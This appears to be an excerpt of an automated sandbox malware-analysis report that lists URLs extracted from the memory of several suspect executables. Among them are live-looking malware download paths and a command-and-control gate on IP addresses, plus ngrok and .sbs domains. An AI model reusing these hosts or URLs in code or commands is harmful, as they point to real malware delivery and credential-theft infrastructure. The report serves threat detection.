Source: 7250ce8e20.exe, 0000001D.00000003.3519203805.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3518160061.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3519769803.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3519369488.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 7250ce8e20.exe, 0000001B.00000003.3357635672.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3357172433.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000002.3468049249.0000000000D69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe32=AW
Source: 7250ce8e20.exe, 0000001B.00000002.3467547775.0000000000AFB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: 7250ce8e20.exe, 0000001D.00000003.3518160061.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3519769803.0000000000D24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeron
Source: 7250ce8e20.exe, 0000001B.00000003.3357635672.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3357172433.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000002.3468049249.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3518160061.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3519769803.0000000000D24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 7250ce8e20.exe, 0000001B.00000003.3357635672.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3357172433.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000002.3468049249.0000000000D69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exea
Source: file.exe, 00000000.00000002.2779347504.000000000169E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2777086892.0000000000AC5000.00000040.00000001.01000000.00000003.sdmp, 35e66d06ff.exe, 0000001E.00000002.3293296795.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp, 35e66d06ff.exe, 0000001E.00000002.3293296795.0000000001709000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll.
Source: file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll;
Source: file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllD
Source: file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2801693816.0000000023B7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/O
Source: 35e66d06ff.exe, 0000001E.00000002.3293296795.0000000001709000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/U
Source: file.exe, 00000000.00000002.2779347504.000000000175E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2801693816.0000000023B7B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2777086892.0000000000AC5000.00000040.00000001.01000000.00000003.sdmp, 35e66d06ff.exe, 0000001E.00000002.3293296795.00000000016F3000.00000004.00000020.00020000.00000000.sdmp, 35e66d06ff.exe, 0000001E.00000002.3293296795.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, 35e66d06ff.exe, 0000001E.00000002.3293296795.0000000001709000.00000004.00000020.00020000.00000000.sdmp, 35e66d06ff.exe, 0000001E.00000002.3293296795.0000000001720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2779347504.000000000175E000.00000004.00000020.00020000.00000000.sdmp, 35e66d06ff.exe, 0000001E.00000002.3293296795.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, 35e66d06ff.exe, 0000001E.00000002.3293296795.0000000001709000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php4(ip
Source: 35e66d06ff.exe, 0000001E.00000002.3293296795.00000000016F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php6F
Source: 35e66d06ff.exe, 0000001E.00000002.3293296795.00000000016F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php:F
Source: 35e66d06ff.exe, 0000001E.00000002.3293296795.0000000001720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpB
Source: file.exe, 00000000.00000002.2779347504.000000000175E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpP
Source: file.exe, 00000000.00000002.2779347504.000000000169E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: 35e66d06ff.exe, 0000001E.00000002.3293296795.0000000001720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpf
Source: file.exe, 00000000.00000002.2777086892.0000000000AC5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: 35e66d06ff.exe, 0000001E.00000002.3293296795.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpt
Source: 35e66d06ff.exe, 0000001E.00000002.3293296795.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206h
Source: file.exe, 00000000.00000002.2777086892.0000000000AC5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: 7250ce8e20.exe, 0000001B.00000003.3119469326.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3299128954.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3449292127.0000000005861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 7250ce8e20.exe, 0000001B.00000003.3119469326.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3299128954.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3449292127.0000000005861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 7250ce8e20.exe, 0000001B.00000003.3119469326.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3299128954.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3449292127.0000000005861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 7250ce8e20.exe, 0000001B.00000003.3119469326.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3299128954.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3449292127.0000000005861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 7250ce8e20.exe, 0000001B.00000003.3119469326.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3299128954.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3449292127.0000000005861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 7250ce8e20.exe, 0000001B.00000003.3119469326.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3299128954.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3449292127.0000000005861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 7250ce8e20.exe, 0000001B.00000003.3119469326.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3299128954.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3449292127.0000000005861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000002F.00000003.3433594905.00000254253EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000002F.00000003.3433594905.00000254253EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000002F.00000003.3482844378.0000025421B58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: 7250ce8e20.exe, 0000001B.00000002.3468049249.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.mi
Source: 7250ce8e20.exe, 0000001B.00000002.3468049249.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.micros2
Source: 7250ce8e20.exe, 0000001B.00000002.3468049249.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.
Source: 9b3207e1a5.exe, 00000019.00000003.2994315186.0000000006FE2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17
Source: 9b3207e1a5.exe, 00000019.00000003.2994315186.0000000006FE2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: firefox.exe, 0000002F.00000003.3562116113.000002541FCC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3565470151.00000254225D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3512209147.00000254225ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3396123826.000002541FCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3510329885.000002541FCD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3541486595.00000254225FE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3579046825.000002542157D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3471180484.0000025423A7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3592156664.00000254225D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3597639925.00000254225E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3512209147.00000254225D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3441942587.0000025423CEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3536314922.000002542179F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3563749894.00000254217A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3560937854.0000025421799000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3581242404.000002541FCD3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3581242404.000002541FCC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3583759274.000002542157D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3441942587.0000025423CA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3541486595.00000254225F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3566469293.00000254217A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: 7250ce8e20.exe, 0000001B.00000003.3119469326.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3299128954.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3449292127.0000000005861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 7250ce8e20.exe, 0000001B.00000003.3119469326.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3299128954.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3449292127.0000000005861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, file.exe, 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 0000002F.00000003.3475125380.00000254239E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: file.exe, 00000000.00000002.2798693074.000000001DB3D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2806295579.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 7250ce8e20.exe, 0000001B.00000003.3119469326.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3299128954.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3449292127.0000000005861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 7250ce8e20.exe, 0000001B.00000003.3119469326.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3299128954.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3449292127.0000000005861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000002F.00000003.3381148615.0000025421453000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378101023.0000025421200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378982365.0000025421410000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3379900080.0000025421432000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.2407996938.0000000023AB8000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080312571.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080635809.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080190460.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243665492.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243925358.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243577238.000000000551D000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3387118263.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3386768916.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000002F.00000003.3469523361.00000254246EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: dd2bc11318.exe, 0000001F.00000003.3379136461.0000000001282000.00000004.00000020.00020000.00000000.sdmp, dd2bc11318.exe, 0000001F.00000003.3383041603.0000000001282000.00000004.00000020.00020000.00000000.sdmp, dd2bc11318.exe, 0000001F.00000002.3391119222.0000000001282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: dd2bc11318.exe, 0000001F.00000002.3389982474.0000000001238000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd#
Source: 9b3207e1a5.exe, 00000019.00000003.2994315186.0000000006FE2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: 9b3207e1a5.exe, 00000019.00000003.2994315186.0000000006FE2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: file.exe, 00000000.00000002.2779347504.000000000175E000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3310674431.000000000557D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2779347504.000000000175E000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3310674431.000000000557D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: firefox.exe, 0000002F.00000003.3446194244.0000025422084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: file.exe, 00000000.00000003.2407996938.0000000023AB8000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080312571.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080635809.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080190460.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243665492.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243925358.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243577238.000000000551D000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3387118263.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3386768916.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2490369694.0000000023B26000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2407996938.0000000023AB8000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080312571.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080635809.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3094872268.0000000005536000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080190460.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3095381949.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3268405736.0000000005539000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243665492.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243925358.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243577238.000000000551D000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3387118263.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3386768916.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2490369694.0000000023B26000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2407996938.0000000023AB8000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080312571.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080635809.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3094872268.0000000005536000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080190460.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3095381949.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3268405736.0000000005539000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243665492.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243925358.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243577238.000000000551D000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3387118263.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3386768916.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000002F.00000003.3381148615.0000025421453000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378101023.0000025421200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378982365.0000025421410000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3379900080.0000025421432000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: file.exe, 00000000.00000002.2779347504.000000000175E000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3310674431.000000000557D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2779347504.000000000175E000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3310674431.000000000557D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 7250ce8e20.exe, 00000022.00000003.3548077701.00000000012B7000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3443065613.0000000001298000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: 7250ce8e20.exe, 0000001D.00000003.3432070435.0000000000D34000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3459060941.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3433559770.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/#
Source: 7250ce8e20.exe, 00000022.00000003.3548077701.00000000012B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/.
Source: 7250ce8e20.exe, 00000022.00000003.3483691930.0000000001297000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3548532421.0000000001297000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3513307917.000000000129A000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3443065613.0000000001298000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs//BrowsTV
Source: 7250ce8e20.exe, 0000001D.00000003.3329173301.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3326975615.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/3sgEDW
Source: 7250ce8e20.exe, 0000001D.00000003.3432070435.0000000000D34000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3459060941.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3433559770.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/4
Source: 7250ce8e20.exe, 0000001D.00000003.3517884390.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/=
Source: 7250ce8e20.exe, 00000022.00000003.3514455621.00000000012B7000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3548077701.00000000012B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/C
Source: 7250ce8e20.exe, 00000022.00000003.3483691930.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/D
Source: 7250ce8e20.exe, 0000001D.00000003.3432070435.0000000000D34000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3459060941.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3433559770.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/J
Source: 7250ce8e20.exe, 0000001D.00000003.3432070435.0000000000D34000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3459060941.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3433559770.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/V
